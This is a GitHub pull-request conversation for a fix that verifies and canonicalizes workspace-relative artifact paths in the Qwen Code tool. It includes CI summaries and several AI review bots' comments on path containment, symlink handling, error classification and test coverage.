fix(artifacts): verify and canonicalize record_artifact workspace paths - #9142
Conversation
record_artifact reported success without checking the file, so a cwd-relative or prefixed path was stored as-is and later marked missing. Resolve and stat first, persist a workspace-root-relative path, and disable Open on missing workspace artifacts. Co-authored-by: Cursor <cursoragent@cursor.com>
github-actions
Bot
added
the
review/self-reported
|
✅ Qwen Triage finished — CI landed green on ✅ Qwen Triage 已完成 —— |
🖼️ web-shell visual previewRendered against a mock daemon (no real backend): the PR base vs this PR head Screenshots · before / afterℹ️ No screenshot changed against the PR base — but this PR edits 2 render-shaping files:
Either the change has no visual effect (logic, plumbing, a state the scenarios never reach), or no scenario renders this UI — in which case the preview cannot see it, and an empty result is a coverage gap rather than a clean bill of health. To make it visible, add a scenario to Full-resolution recordings (.webm) are attached to the workflow run. — Qwen Code · web-shell visuals |
|
Thanks for the PR — this is a well-scoped fix for a real contract bug. Template: complete ✓ — all required sections, a concrete reviewer test plan, and the bilingual translation. Problem: observed, not theoretical. The linked issue #9083 documents the failure layer by layer (the tool records without verifying → the daemon marks the artifact Direction: aligned. Size: core paths are touched ( Approach: the scope matches the issue's P0 split — producer canonicalization, store re-record merge, Web Shell Open gating, and cross-layer round-trip tests. One deliberate addition: Risk: no elevated-risk path matches from the revert-history signal. Moving on to code review. 🔍 中文说明感谢贡献 —— 这是一个针对真实契约 bug、范围清晰的修复。 模板: 完整 ✓ —— 所有必填小节齐全，附有具体的评审测试计划和双语翻译。 问题: 已观测到，不是理论问题。关联 issue #9083 逐层记录了故障链（工具不校验就记录 → daemon 将工件标记为 方向: 对齐。 规模: 触及核心路径（ 方案: 范围与 issue 的 P0 拆分一致 —— 生产者规范化、store 重登记合并、Web Shell Open 禁用、跨层往返测试。一处有意的扩展： 风险: revert 历史信号无高风险路径命中。 进入代码审查 🔍 — Qwen Code · qwen3.8-max Reviewed at |
Code reviewBefore reading the diff, my independent proposal for this bug was: extract the worktree-aware canonicalizer out of I verified the integration points against current Findings — nothing blocking. Two non-blocking notes:
The test pyramid is the strongest part of this PR: unit coverage for the canonicalizer and every failure mode (wrong prefix, path escape, symlink escape, directory, legacy field, unknown fields), store re-record tests, Web Shell dom + helper tests, and four Files changed (18 of 18 shown)
TestingThis is an unattended CI run, so no PR code was built or executed here — the evidence below is the PR's own CI read through the API at review time. The vitest results quoted in the PR description are the author's claim (macOS only), not independently re-run. CI at review time: the main unit suite ( Final CI results for
One row per check name (latest run); skipped checks omitted; failures sort first. / 每个检查名一行（取最新一次运行），省略 skipped，失败项排在最前。 The central claim is behavioural — the tool now fails closed instead of returning a false success, and stored paths round-trip through Not verified: runtime behaviour on Windows and Linux (author ran unit tests on macOS only); the live Web Shell card state (needs a daemon session; covered here by dom tests, not exercised); historical missing-artifact migration (declared out of scope). 中文说明代码审查: 在读 diff 之前，我对这个 bug 的独立方案是：把 已对照当前 发现 —— 无阻塞项。两条非阻塞意见：
测试金字塔是本 PR 最强的部分：规范化函数与全部失败模式（错误前缀、路径越界、symlink 越界、目录、旧字段、未知字段）的单测、store 重登记测试、Web Shell dom + 助手测试，以及四个 测试: 本次为无人值守 CI 运行，未构建或执行任何 PR 代码 —— 以上证据为评审时通过 API 读取的 PR 自身 CI。PR 描述中引用的 vitest 结果为作者自述（仅 macOS），未经独立复跑。评审时主单测、Serve A/B、web-shell 视觉捕获与 SDK daemon E2E 仍在运行；macOS/Windows 单测与无沙箱集成测试在此 fork PR 上被跳过；安全检查、桌面壳构建、依赖 CVE 审计与 precheck 已通过。表格将在 CI 结束后原地更新。 沙箱验证: 核心主张是行为性的 —— 工具由"假成功"改为 fail-closed、存储路径与 未验证: Windows/Linux 运行时行为（作者仅在 macOS 跑单测）；Web Shell 卡片真实态（需 daemon 会话，此处由 dom 测试覆盖、未实际驱动）；历史 missing 工件迁移（已声明超出范围）。 — Qwen Code · qwen3.8-max Reviewed at |
|
Confidence: 4/5 — a faithful, well-tested implementation of the exact contract the issue prescribed; only a narrow fail-closed edge case and one small scope addition keep it from 5. Stepping back: the independent proposal I wrote before reading the diff and the PR's approach are the same shape — shared canonicalizer, verify-then-record, round-trip tests. That is a good sign: there is no simpler path being missed. The problem is real and confirmed on Why 4 and not 5: the absolute-path containment check mixes unresolved and realpath'd namespaces — false negatives on symlinked workspace roots, fail-closed with no escape risk; and the csv/xlsx whitelist extension is a judgement call I would have liked to see argued in the PR body rather than inferred from the description update. Neither blocks. Verdict: approve — with one honest caveat. The main unit suite and the serve/daemon E2E checks are still running on this commit, and approval must not outrun its evidence. Approval is therefore deferred until CI lands green on this exact commit; the marker below carries that precondition, and the deferred approval is withheld if anything lands red or the head moves. 中文说明置信度: 4/5 —— 忠实且测试充分的实现，正是 issue 所要求的契约；仅因一个狭窄的 fail-closed 边界情况和一处小幅范围扩展而未给 5 分。 回头看：我在读 diff 之前独立写下的方案与 PR 的做法形状一致 —— 共享规范化函数、先校验再记录、往返测试。这是好信号：没有遗漏更简单的路径。问题真实且已在 给 4 而不是 5 的原因：绝对路径的边界检查混用了未解析与 realpath 两个命名空间 —— 对含 symlink 的工作区根会产生误拒，fail-closed 且无越界风险；csv/xlsx 白名单扩展是一个判断取舍，我更希望在 PR 正文里看到论证，而不是从描述更新中推断。两者都不阻塞。 结论：approve —— 但带一个诚实的保留。主单元测试与 serve/daemon E2E 检查仍在该提交上运行，批准不应跑在证据前面。因此批准推迟到 CI 在该提交上全绿时执行；下方标记承载该前置条件；若有检查变红或 head 移动，推迟的批准将被扣下。 — Qwen Code · qwen3.8-max Reviewed at |
🩺 serve daemon A/BBuilt the PR base vs this PR head ✅ No response changes against the PR base across 4 scenario(s). — Qwen Code · serve A/B |
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
LGTM, looks ready to ship — CI landed green after the review. ✅
…ecks A symlink workspace root mixed unresolved locator paths with a realpath'd root and rejected valid files. Co-authored-by: Cursor <cursoragent@cursor.com>
wenshao
left a comment
wenshao
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed.
Not reviewed: build-and-test — packages/web-shell test suite did not run locally because the whole-call budget was exhausted.
Not reviewed: build-and-test — required Node 22 was not verified because the local runtime was Node 24.18.1.
Not reviewed: reverse audit — did not converge within the reverse-audit round cap of 5.
Test Plan (not a blocker): w/agent/report.csv — no such file or directory; 28 passing — this review observed 1430, 19670, 19997 passed.
中文说明
仅完成部分审查，审查缺口已披露。
未审查：build-and-test — packages/web-shell test suite did not run locally because the whole-call budget was exhausted。
未审查：build-and-test — required Node 22 was not verified because the local runtime was Node 24.18.1。
未审查：反向审计——在 5 轮的反审轮数上限内未收敛。
Test Plan（非阻断）：w/agent/report.csv — no such file or directory; 28 passing — this review observed 1430, 19670, 19997 passed。
— gpt-5.6-sol via Qwen Code /review (v0.21.11)
| // Workspace re-records keep the same locator identity; refresh the | ||
| // user-visible title/description so a later, better name is not dropped. | ||
| next.title = incoming.title; | ||
| next.description = incoming.description ?? existing.description; |
There was a problem hiding this comment.
[Critical] Preserve curated metadata when the same workspace artifact is re-recorded by another source.
record_artifact can register report.csv as “Quarterly sales report”, then a later write_file/client/hook update with the same workspacePath replaces that title while the stored source/toolName still identify the original producer. A real SessionArtifactStore probe ended with title=report.csv, description=Curated, and toolName=record_artifact. Please restrict title/description refresh to the intended authoritative source/tool and apply the same rule in mergeBatchArtifact.
中文
[严重] 同一工作区产物被其他来源重新登记时，应保留人工设置的展示元数据。
record_artifact 可将 report.csv 登记为“Quarterly sales report”，随后相同 workspacePath 的 write_file/客户端/hook 更新会覆盖标题，但存储的 source/toolName 仍指向原始生产者。实际 SessionArtifactStore 探针最终得到 title=report.csv、description=Curated、toolName=record_artifact。请仅允许预期的权威来源/工具刷新标题和描述，并在 mergeBatchArtifact 中应用同一规则。
— gpt-5.6-sol via Qwen Code /review (v0.21.11)
|
|
||
| import path from 'node:path'; | ||
|
|
||
| const WORKTREE_DIR_RE = /^(.+)[\\/]\.qwen[\\/]worktrees[\\/][^\\/]+$/; |
There was a problem hiding this comment.
[Critical] Handle worktrees whose bound POSIX workspace is /.
For /.qwen/worktrees/feature, this regex does not match because (.+) requires a character before the separator. The producer therefore emits report.csv, while workspace-root consumers resolve it as /report.csv instead of /.qwen/worktrees/feature/report.csv. The probe returned {root:"/.qwen/worktrees/feature", locator:"report.csv"}. Please support an empty prefix as the filesystem root and add a root-worktree regression test.
中文
[严重] 请处理绑定 POSIX 工作区为 / 的 worktree。
对于 /.qwen/worktrees/feature，该正则不会匹配，因为 (.+) 要求分隔符前至少有一个字符。生产者因此输出 report.csv，而工作区根消费者会解析为 /report.csv，不是 /.qwen/worktrees/feature/report.csv。探针结果为 {root:"/.qwen/worktrees/feature", locator:"report.csv"}。请允许空前缀代表文件系统根目录，并增加根目录 worktree 回归测试。
— gpt-5.6-sol via Qwen Code /review (v0.21.11)
| function validateWorkspacePath(value: string): string | null { | ||
| function validateWorkspacePath(value: string, cwd: string): string | null { | ||
| const trimmed = value.trim(); | ||
| const stringError = validateString( |
There was a problem hiding this comment.
[Critical] Apply the stored-path length limit after canonicalization.
A deeply nested checkout can produce a 656-character absolute locator whose canonical workspace path is only a.csv; validation rejects it before resolution even though the persisted value is valid. The probe observed absoluteLength=656, canonicalLength=5, followed by BUILD_ERROR: workspacePath exceeds 500 characters. Please perform only basic/control-character checks before resolution and enforce the length limit on the canonical relative path.
中文
[严重] 应在规范化后再应用存储路径长度限制。
深层嵌套的检出目录可能产生 656 字符的绝对定位符，但规范化工作区路径仅为 a.csv；当前逻辑在解析前就拒绝它，尽管实际持久化值有效。探针观察到 absoluteLength=656、canonicalLength=5，随后报 BUILD_ERROR: workspacePath exceeds 500 characters。请在解析前仅执行基本/控制字符检查，并对规范化相对路径执行长度限制。
— gpt-5.6-sol via Qwen Code /review (v0.21.11)
| ); | ||
| } | ||
| return locatorFailure( | ||
| ToolErrorType.EXECUTION_FAILED, |
There was a problem hiding this comment.
[Critical] Classify permanent path failures instead of returning execution_failed.
An untraversable directory currently maps EACCES/EPERM to EXECUTION_FAILED, and a regular-file intermediate path leaves ENOTDIR outside the ENOENT handling. Downstream routing and telemetry therefore misclassify path/precondition failures. A real EACCES lstat probe returned type=execution_failed. Please use one classifier: ENOENT/ENOTDIR → FILE_NOT_FOUND, EACCES/EPERM → PERMISSION_DENIED, and unknown errors → EXECUTION_FAILED.
中文
[严重] 永久性路径失败不应统一返回 execution_failed。
不可遍历目录的 EACCES/EPERM 当前被映射为 EXECUTION_FAILED，普通文件作为中间路径产生的 ENOTDIR 也未纳入 ENOENT 处理。下游路由和遥测因此错误分类路径/前置条件失败。实际 EACCES lstat 探针返回了 type=execution_failed。请使用统一分类器：ENOENT/ENOTDIR → FILE_NOT_FOUND，EACCES/EPERM → PERMISSION_DENIED，未知错误 → EXECUTION_FAILED。
— gpt-5.6-sol via Qwen Code /review (v0.21.11)
| const locator = await resolveWorkspaceArtifactLocator( | ||
| workspacePathInput, | ||
| this.config, | ||
| ); |
There was a problem hiding this comment.
[Critical] Do not reinterpret literal POSIX backslashes as separators.
On macOS/Linux, a valid file named reports\summary.csv is looked up as reports/summary.csv, causing FILE_NOT_FOUND or recording a different file. The PR probe failed for the literal filename; preserving POSIX backslashes returned workspacePath=reports\summary.csv. Please resolve the literal POSIX name first and only use portable-separator interpretation as an explicit fallback, or define an escaping contract.
中文
[严重] 不要把 POSIX 文件名中的反斜杠字面量重新解释为目录分隔符。
在 macOS/Linux 上，合法文件名 reports\summary.csv 会被查找为 reports/summary.csv，从而返回 FILE_NOT_FOUND 或登记另一个文件。PR 探针对字面文件名失败；保留 POSIX 反斜杠后得到 workspacePath=reports\summary.csv。请优先解析 POSIX 字面名称，仅将跨平台分隔符解释作为显式回退，或定义转义契约。
— gpt-5.6-sol via Qwen Code /review (v0.21.11)
| */ | ||
| export function resolveBoundWorkspaceRoot(targetDir: string): string { | ||
| const resolved = path.resolve(targetDir); | ||
| const match = resolved.match(WORKTREE_DIR_RE); |
There was a problem hiding this comment.
[Critical] Do not infer worktree-session ownership solely from the directory suffix.
A normal workspace rooted at /projects/container/.qwen/worktrees/app is rebound to /projects/container; producers then emit .qwen/worktrees/app/report.html while consumers remain bound to the actual workspace and resolve a duplicated nested path, marking the artifact missing. The probe expected the original root but received /projects/container; disabling stripping also broke genuine worktrees. Please pass explicit bound-workspace/worktree-session metadata instead of inferring it lexically.
中文
[严重] 不应仅根据目录后缀推断 worktree 会话归属。
根目录为 /projects/container/.qwen/worktrees/app 的普通工作区会被重新绑定到 /projects/container；生产者随后输出 .qwen/worktrees/app/report.html，而消费者仍绑定真实工作区并解析出重复嵌套路径，最终将产物标记为缺失。探针期望保留原根目录，却得到 /projects/container；禁用剥离又会破坏真实 worktree。请传递显式的绑定工作区/worktree 会话元数据，而非依赖词法推断。
— gpt-5.6-sol via Qwen Code /review (v0.21.11)
| title: | ||
| existing.storage === 'workspace' && next.storage === 'workspace' | ||
| ? next.title | ||
| : existing.title, |
There was a problem hiding this comment.
[Suggestion] Add coverage for duplicate workspace artifacts within one batch.
Two same-path workspace artifacts in one upsertMany call should use the later title and description, but changing this branch to preserve existing.title leaves the added tests green. Please add a same-batch duplicate identity test asserting that the second metadata values win.
中文
[建议] 请覆盖同一批次内重复工作区产物的场景。
一次 upsertMany 中两个相同路径的工作区产物应使用后一个标题和描述，但将此分支改为保留 existing.title 时新增测试仍会通过。请增加同批次重复身份测试，断言第二组元数据生效。
— gpt-5.6-sol via Qwen Code /review (v0.21.11)
| // Workspace re-records keep the same locator identity; refresh the | ||
| // user-visible title/description so a later, better name is not dropped. | ||
| next.title = incoming.title; | ||
| next.description = incoming.description ?? existing.description; |
There was a problem hiding this comment.
[Suggestion] Cover description preservation when a re-record omits it.
An accidental change to assign incoming.description directly would erase an existing description while the current added tests remain green. Please add a re-record case that updates the title without a description and asserts the existing description remains.
中文
[建议] 请覆盖重新登记时省略描述仍应保留原描述的场景。
若误改为直接赋值 incoming.description，现有描述会被清除，而当前新增测试仍会通过。请增加仅更新标题、不提供描述的重新登记用例，并断言原描述保持不变。
— gpt-5.6-sol via Qwen Code /review (v0.21.11)
| return locatorFailure( | ||
| st.isDirectory() | ||
| ? ToolErrorType.TARGET_IS_DIRECTORY | ||
| : ToolErrorType.TARGET_NOT_REGULAR_FILE, |
There was a problem hiding this comment.
[Suggestion] Add a regression test for non-directory special files.
A mutation that accepts a FIFO/socket/device, or returns the wrong error taxonomy, would remain green and could register an unopenable artifact. Please add a platform-gated FIFO test or mock fs.stat and assert TARGET_NOT_REGULAR_FILE with no artifact.
中文
[建议] 请为非目录特殊文件增加回归测试。
接受 FIFO/socket/device 或返回错误分类的变异仍会通过测试，并可能登记无法打开的产物。请增加平台条件化的 FIFO 测试，或 mock fs.stat，断言返回 TARGET_NOT_REGULAR_FILE 且不产生 artifact。
— gpt-5.6-sol via Qwen Code /review (v0.21.11)
| } | ||
| return artifact.workspacePath | ||
| ? t('turnOutputs.artifactUnavailable', { path: artifact.workspacePath }) | ||
| : t('turnOutputs.artifactMissing'); |
There was a problem hiding this comment.
[Suggestion] Test the missing-artifact fallback when workspacePath is absent.
A legacy or restored missing workspace artifact without the optional path could render no reason or a raw translation key while the current tests remain green. Please add helper and rendered-card tests for status: 'missing' without workspacePath.
中文
[建议] 请测试缺少 workspacePath 时的缺失产物回退文案。
旧版或恢复的缺失工作区产物可能没有可选路径，此时可能不显示原因或显示原始翻译键，而当前测试仍会通过。请为不含 workspacePath 的 status: 'missing' 增加 helper 和渲染卡片测试。
— gpt-5.6-sol via Qwen Code /review (v0.21.11)
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed.
Not reviewed: reverse audit — did not converge within the reverse-audit round cap of 5.
Not reviewed: build-and-test — Test (windows-latest, Node 22.x) was skipped in CI and its suite did not run locally.
Not explored to full depth (tool budget reached): "PR 9142 (fix/artifact-workspace-path-contract):…": none — all checks in my dimension completed within budget.; "You are review agent reverse-audit — Reverse audit agent…": none — all checks above completed within budget.; "PR 9142 (fix/artifact-workspace-path-contract):…": none — all planned checks completed within budget..
Test Plan (not a blocker): w/agent/report.csv — no such file or directory; 28 passing — this review observed 1430, 19671, 19983 passed.
中文说明
仅完成部分审查，审查缺口已披露。
未审查：reverse audit — did not converge within the reverse-audit round cap of 5。
未审查：build-and-test — Test (windows-latest, Node 22.x) was skipped in CI and its suite did not run locally。
未探索到全部深度（达到工具调用预算）："PR 9142 (fix/artifact-workspace-path-contract):…"：none — all checks in my dimension completed within budget.；"You are review agent reverse-audit — Reverse audit agent…"：none — all checks above completed within budget.；"PR 9142 (fix/artifact-workspace-path-contract):…"：none — all planned checks completed within budget.。
Test Plan（非阻断）：w/agent/report.csv — no such file or directory; 28 passing — this review observed 1430, 19671, 19983 passed。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| it('rejects a workspace-relative path that escapes the execution directory', () => { | ||
| const tool = makeTool(); |
There was a problem hiding this comment.
[Critical] The escape test's Windows drive/rooted path entries no longer throw at build time on win32 under the new platform-aware validation — this test goes red on the Windows merge-queue gate while staying green everywhere else.
Failure scenario: on win32, 'C:tmp\\report.html' is drive-relative — isForeignWindowsAbsolute returns false by design and path.win32.isAbsolute('C:tmp\\…') is false — so it reaches the relative branch, posix.normalize('C:tmp/report.html') passes, and build() never throws. '\\tmp\\report.html' is win32-absolute and path.resolve completes it onto the containment root's own drive, so isWithinRoot passes — also no throw. At least 2 of the 10 entries never throw on any Windows machine (4 on a C: drive). The base validation rejected every entry unconditionally on all platforms, so this diff turns a cross-platform-green test red on test_windows (.github/workflows/ci.yml, merge_group-only): PR-level CI stays green and the break surfaces only at merge-queue time. Verified by win32-emulation probe: PR validation threw=false for 4 entries while a verbatim port of the base validation rejected all 10; the same file stays 28/28 green on Linux.
Fix: make the drive/rooted/UNC entries platform-aware — either guard them with if (process.platform !== 'win32'), or convert them on win32 into out-of-workspace absolute entries (a different drive, or a path outside the bound root), as the existing 'rejects an absolute path outside the execution directory' test does.
中文说明
[严重] 转义测试中的 Windows 盘符/带根路径条目在新的平台感知校验下，于 win32 上不再在 build 时抛错——该测试会在 Windows 合并队列门禁上变红，而在其他平台仍然通过。
失败场景：在 win32 上，'C:tmp\\report.html' 是盘符相对路径——isForeignWindowsAbsolute 按设计返回 false，path.win32.isAbsolute('C:tmp\\…') 为 false——因此进入相对路径分支，posix.normalize('C:tmp/report.html') 通过，build() 不抛错。'\\tmp\\report.html' 是 win32 绝对路径，path.resolve 将其补全到包含性校验根所在的盘，isWithinRoot 通过——同样不抛错。10 个条目中至少 2 个在任何 Windows 机器上都不会抛错（C: 盘上为 4 个）。基线校验在所有平台上无条件拒绝全部条目，因此本 diff 使原本全平台通过的测试在 test_windows（.github/workflows/ci.yml，仅 merge_group 触发）上变红：PR 级 CI 仍为绿色，问题到合并队列阶段才暴露。已通过 win32 模拟探针验证：PR 校验对 4 个条目 threw=false，而基线校验的原样移植拒绝了全部 10 个；同一文件在 Linux 上仍为 28/28 全绿。
修复建议：将盘符/带根/UNC 条目改为平台感知——用 if (process.platform !== 'win32') 保护，或在 win32 上转换为越界的绝对路径条目（其他盘符，或绑定根之外的路径），参照现有 'rejects an absolute path outside the execution directory' 测试的做法。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| } catch { | ||
| return resolved; | ||
| } |
There was a problem hiding this comment.
[Suggestion] When both a path and its parent directory fail realpathSync (the parent does not exist), this fallback returns the un-realpath'd textual path; compared against the realpath'd workspace root, a missing-but-inside path is then misclassified as "outside the workspace" instead of FILE_NOT_FOUND whenever the root sits behind a symlink.
Failure scenario: workspace under macOS TMPDIR (/var/folders/... whose realpath is /private/var/folders/...) or any symlinked root. An absolute workspacePath with a typo'd or since-deleted intermediate directory fails realpath at both levels → the textual /var/folders/... is compared against the realpath'd /private/var/... root → isWithinRoot is false → the model receives "workspacePath" must stay inside the workspace instead of file_not_found and can churn retrying paths that are already inside. Reproduced by probe with a symlinked alias root. No security impact — the execution-time realpath containment still fails closed; this is wrong-error-classification only.
Fix direction: when both realpath attempts fail, do not conclude "outside" from a mixed-namespace comparison — let the candidate proceed so inspectWorkspaceCandidate's lstat produces the accurate FILE_NOT_FOUND (its realpath + containment check remains the authoritative gate), or apply the same dirname-fallback depth to the root side so both sides stay in one namespace.
中文说明
[建议] 当路径本身和其父目录都无法 realpathSync（父目录不存在）时，此回退返回未经 realpath 的文本路径；与工作区根的 realpath 结果比较时，只要根目录位于符号链接之后，位于工作区内但不存在的路径会被误判为"越界"而非 FILE_NOT_FOUND。
失败场景：工作区位于 macOS TMPDIR（/var/folders/...，realpath 为 /private/var/folders/...）或任何带符号链接的根目录下。绝对 workspacePath 的中间目录拼错或已被删除时，两级 realpath 均失败 → 文本形式 /var/folders/... 与 realpath 后的 /private/var/... 根比较 → isWithinRoot 为 false → 模型收到 "workspacePath" must stay inside the workspace 而非 file_not_found，可能反复重试本就在界内的路径。已用符号链接别名根目录通过探针复现。无安全影响——执行期的 realpath 包含性检查仍然失败关闭；这只是错误分类错误。
修复方向：两级 realpath 都失败时，不要用混合命名空间的比较得出"越界"结论——让候选路径继续走 inspectWorkspaceCandidate 的 lstat，由其产生准确的 FILE_NOT_FOUND（其 realpath + 包含性检查仍是权威门禁）；或对根一侧应用相同的父目录回退深度，使两侧保持同一命名空间。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| let st; | ||
| try { | ||
| st = await fs.stat(resolved); | ||
| } catch (error) { | ||
| return locatorFailure( | ||
| ToolErrorType.EXECUTION_FAILED, |
There was a problem hiding this comment.
[Suggestion] The fs.stat catch collapses every error code — including ENOENT — into EXECUTION_FAILED, while both sibling catches in this pipeline (fs.lstat and fs.realpath) explicitly branch ENOENT into FILE_NOT_FOUND.
Failure scenario: the file is removed between the successful fs.realpath(candidate) and fs.stat(resolved) (a concurrent rm/shell call). fs.stat throws ENOENT, but the tool reports execution_failed instead of the file_not_found that the identical vanished-file condition produces one stage earlier — telemetry keyed on error codes mislabels it, and the model receives a transient-sounding classification that invites blind retries. Probed deterministically by mocking fs.stat to throw ENOENT after a successful realpath; adding the isEnoent branch flips the observation to file_not_found. No retry/data path is affected (the scheduler branches only on EXECUTION_TIMEOUT) and the trigger window is microseconds, hence Suggestion.
Fix, mirroring the sibling catches:
} catch (error) {
if (isEnoent(error)) {
return locatorFailure(
ToolErrorType.FILE_NOT_FOUND,
`Failed to record artifact: "${rawPath}" does not exist.\n${WORKSPACE_PATH_HINT}`,
);
}
return locatorFailure(
ToolErrorType.EXECUTION_FAILED,
// ... unchanged中文说明
[建议] fs.stat 的 catch 把所有错误码（包括 ENOENT）都归为 EXECUTION_FAILED，而同一管线中的两个兄弟 catch（fs.lstat 与 fs.realpath）都显式将 ENOENT 分支为 FILE_NOT_FOUND。
失败场景：文件在 fs.realpath(candidate) 成功之后、fs.stat(resolved) 之前被删除（并发的 rm/shell 调用）。fs.stat 抛出 ENOENT，但工具报告 execution_failed，而不是前一阶段对相同"文件消失"情形给出的 file_not_found——按错误码分类的遥测会误标，模型收到听起来像瞬时故障的分类从而盲目重试。已通过 mock fs.stat 在 realpath 成功后抛 ENOENT 确定性验证；加上 isEnoent 分支后观测结果翻转为 file_not_found。不影响重试/数据路径（调度器仅对 EXECUTION_TIMEOUT 分支），触发窗口为微秒级，因此定级为建议。
修复方式（与兄弟 catch 对齐）：在通用 EXECUTION_FAILED 返回之前，先判断 isEnoent(error) 并返回 FILE_NOT_FOUND 及相应消息。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| if (isAbsoluteWorkspaceInput(trimmed)) { | ||
| const root = resolveForContainment( | ||
| resolveBoundWorkspaceRoot(path.resolve(cwd)), | ||
| ); |
There was a problem hiding this comment.
[Suggestion] Build-time validation computes the containment root by stripping the .qwen/worktrees/<slug> suffix from the lexical targetDir and then realpath'ing, while execute-time (resolveWorkspaceArtifactLocator) realpaths the cwd first and strips afterwards. Since WORKTREE_DIR_RE matches a literal path suffix, the two gates compute different roots whenever any component of the suffix (e.g. .qwen itself) is a symlink.
Failure scenario: with .qwen symlinked to another directory and the session at <repo>/.qwen/worktrees/feat, an absolute locator that build-time validation accepts (the strip matches the lexical path → root /repo) fails at execute time with PATH_NOT_IN_WORKSPACE (the realpath'd cwd carries no literal suffix → a different root) after validation promised success; relative locators in that session canonicalize against the wrong root and are mis-anchored for bound-root consumers. Reproduced by probe: build PASSED → execute path_not_in_workspace; applying the realpath-first order at build time flips the probe. No security escape — execute-time realpath containment is authoritative and fails closed; the harm is false rejection of legitimate input plus wrong canonical anchoring. The trigger (a symlinked worktree path component) is rare and not product-created, hence Suggestion.
Fix: compute the root once, in the execute-time order — realpath first, then strip — and share one helper between validateWorkspacePath and resolveWorkspaceArtifactLocator; add a test with a symlinked suffix component asserting build and execute agree.
中文说明
[建议] build 期校验计算包含性根时，先从词法 targetDir 上剥离 .qwen/worktrees/<slug> 后缀再 realpath；而执行期（resolveWorkspaceArtifactLocator）先 realpath 再剥离。由于 WORKTREE_DIR_RE 匹配的是字面路径后缀，只要后缀中的任何组成部分（例如 .qwen 本身）是符号链接，两道门禁计算出的根就不一致。
失败场景：.qwen 符号链接到另一目录、会话位于 <repo>/.qwen/worktrees/feat 时，某个绝对定位符在 build 期通过校验（字面路径上剥离成功 → 根为 /repo），执行期却报 PATH_NOT_IN_WORKSPACE（realpath 后的 cwd 不再含字面后缀 → 根不同）——校验已承诺成功却执行失败；该会话中的相对定位符会按错误的根规范化，对绑定根消费者产生错误锚定。已用探针复现：build PASSED → 执行 path_not_in_workspace；将 build 期改为先 realpath 的顺序后探针翻转。无安全逃逸——执行期 realpath 包含性检查是权威的且失败关闭；危害是误拒合法输入与错误规范化锚定。触发条件（worktree 路径组成部分为符号链接）罕见且非产品自身产生，因此定级为建议。
修复：只计算一次根，采用执行期顺序——先 realpath 再剥离——并在 validateWorkspacePath 与 resolveWorkspaceArtifactLocator 之间共享同一 helper；增加后缀组成部分为符号链接的测试，断言 build 与执行结论一致。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| onOpen={ | ||
| canOpenWorkspaceArtifact(artifact) | ||
| ? () => openArtifact(artifact) | ||
| : undefined | ||
| } |
There was a problem hiding this comment.
[Suggestion] Disabling Open for missing workspace artifacts also severs the transcript-based preview path, which does not require the file on disk.
Failure scenario: an agent writes report.html (or .md); that turn's changes carry the file's fullContent. The file is later deleted or refreshWorkspaceStatus marks it missing (the onError: 'missing' path keeps workspacePath). Before this diff, Open fed getArtifactPreviewContent(artifact, changes, workspaceCwd) into the panel, where useWorkspaceFileContent seeds the content with previewContent and on a failed readWorkspaceFile sets the error without clearing the content — the captured content rendered alongside the error banner. Now the Open button is disabled, so the last captured content of an html/md artifact is unreachable from its card even though it exists in the transcript. Confined to rendered (html/md) artifacts with transcript content; neither new test pins this case (both use kind: 'file' with no changes).
Fix: allow opening when a transcript preview exists — pass onOpen when canOpenWorkspaceArtifact(artifact) || getArtifactPreviewContent(artifact, changes, workspaceCwd) !== undefined, keeping the blocked reason only when there is no preview.
中文说明
[建议] 对 missing 的工作区产物禁用 Open 的同时，也切断了基于会话记录的预览路径——该路径并不依赖磁盘上的文件。
失败场景：agent 写出 report.html（或 .md），该轮次的 changes 携带文件的 fullContent；文件随后被删除，或 refreshWorkspaceStatus 将其标记为 missing（onError: 'missing' 路径保留 workspacePath）。在本 diff 之前，Open 会把 getArtifactPreviewContent(artifact, changes, workspaceCwd) 传给面板，useWorkspaceFileContent 以 previewContent 初始化内容，且在 readWorkspaceFile 失败时只设置错误、不清空内容——捕获的内容会与错误横幅一起渲染。现在 Open 按钮被禁用，html/md 产物最后一次捕获的内容即使仍在会话记录中，也无法从其卡片打开。影响范围限于带会话内容的可渲染（html/md）产物；两个新测试均未覆盖该场景（都用 kind: 'file' 且无 changes）。
修复：当存在会话记录预览时允许打开——在 canOpenWorkspaceArtifact(artifact) || getArtifactPreviewContent(artifact, changes, workspaceCwd) !== undefined 时传入 onOpen，仅在没有任何预览时显示拦截原因。
— qwen3.8-max via Qwen Code /review (v0.21.11)
…pute (QwenLM#9204) Opening a same-repo PR that touches CODEOWNERS-covered paths auto-requests every owner individually, so one PR open emits one review_requested run per owner (five within the same second on QwenLM#8830/QwenLM#9142). Only the bot-requested run can reach review-pr; the human-requested siblings used to spend a review-config runner plus an authorize job (CI_BOT_PAT permission API) each before no-op exiting. Mirror the requested_reviewer predicate precheck-pr already applies to fork PRs into authorize.if and review-config.if so the siblings complete as instant all-skipped runs. Co-authored-by: yiliang114 <yiliang114@users.noreply.github.com>
Review found valid locators rejected on symlink roots or long absolute paths, and write_file auto-records overwriting record_artifact titles. Co-authored-by: Cursor <cursoragent@cursor.com>
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed.
Not reviewed: reverse audit — did not converge within the reverse-audit round cap of 5.
Not reviewed: build-and-test — Test (windows-latest, Node 22.x) was skipped in CI and its suite did not run locally.
Test Plan (not a blocker): w/agent/report.csv — no such file or directory; 28 passing — this review observed 1433, 19674, 19992, 3586, 1555, 494, 491 passed.
Deferred under the convergence posture (round 2, not a blocker) — recorded, not requested in this round:
packages/core/src/index.ts:208 — [review] Dead public exports of internal workspace-path helpers (resolveBoundWorkspaceRoot / toCanonicalWorkspaceArtifactPath) — no consumer outside packages/core
中文说明
仅完成部分审查，审查缺口已披露。
未审查：reverse audit — did not converge within the reverse-audit round cap of 5。
未审查：build-and-test — Test (windows-latest, Node 22.x) was skipped in CI and its suite did not run locally。
Test Plan（非阻断）：w/agent/report.csv — no such file or directory; 28 passing — this review observed 1433, 19674, 19992, 3586, 1555, 494, 491 passed。
